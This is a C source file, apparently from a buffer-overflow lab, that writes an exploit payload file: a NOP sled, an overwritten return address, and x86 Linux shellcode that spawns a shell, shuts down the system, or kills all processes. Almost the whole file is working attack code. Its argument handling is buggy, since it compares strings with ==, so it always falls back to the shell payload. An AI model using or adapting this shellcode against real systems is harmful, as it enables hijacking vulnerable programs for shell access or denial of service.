exploit.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char codeKill[] = "\x31\xc0\x50\x66\x68\x6c"
				  "\x35\x68\x6c\x6c\x61\x6c"
				  "\x68\x6e\x2f\x6b\x69\x68"
				  "\x2f\x73\x62\x69\x89\xe3"
				  "\x50\x89\xe2\x53\x89\xe1"
				  "\xb0\x0b\xcd\x80"; //kill all process

const char codeRestart[] = "\x31\xc0\x31\xd2\x50\x66\x68\x2d"
						   "\x68\x89\xe7\x50\x6a\x6e\x66\xc7"
						   "\x44\x24\x01\x6f\x77\x89\xe7\x50"
						   "\x68\x64\x6f\x77\x6e\x68\x73\x68"
						   "\x75\x74\x68\x6e\x2f\x2f\x2f\x68"
						   "\x2f\x73\x62\x69\x89\xe3\x52\x56"
						   "\x57\x53\x89\xe1\xb0\x0b\xcd\x80"; //shutdown system

const char codeshell[] =
	"\x31\xc0"
	"\x50"
	"\x68"
	"//sh"
	"\x68"
	"/bin"
	"\x89\xe3"
	"\x50"
	"\x53"
	"\x89\xe1"
	"\x99"
	"\xb0\x0b"
	"\xcd\x80"; //launch shell

void main(int argc, char **argv)
{
	char buffer[517];
	FILE *malfile;
	memset(&buffer, 0x90, 517);
	if (argc == 2)
	{
		if (argv[1] == "shell")
			memcpy(&buffer[517 - sizeof(codeshell)], codeshell, sizeof(codeshell));
		else if (argv[1] == "restart")
			memcpy(&buffer[517 - sizeof(codeRestart)], codeRestart, sizeof(codeRestart));
		else if (argv[1] == "kill")
			memcpy(&buffer[517 - sizeof(codeKill)], codeKill, sizeof(codeKill));
		else
			memcpy(&buffer[517 - sizeof(codeshell)], codeshell, sizeof(codeshell));
	}
	else
		memcpy(&buffer[517 - sizeof(codeshell)], codeshell, sizeof(codeshell));

	long malAddress = (long *)&buffer + 100;
	long *returnPTR = (long *)(buffer + 24);
	*returnPTR = malAddress;

	malfile = fopen("./malfile", "w");
	fwrite(buffer, 517, 1, malfile);
	fclose(malfile);
}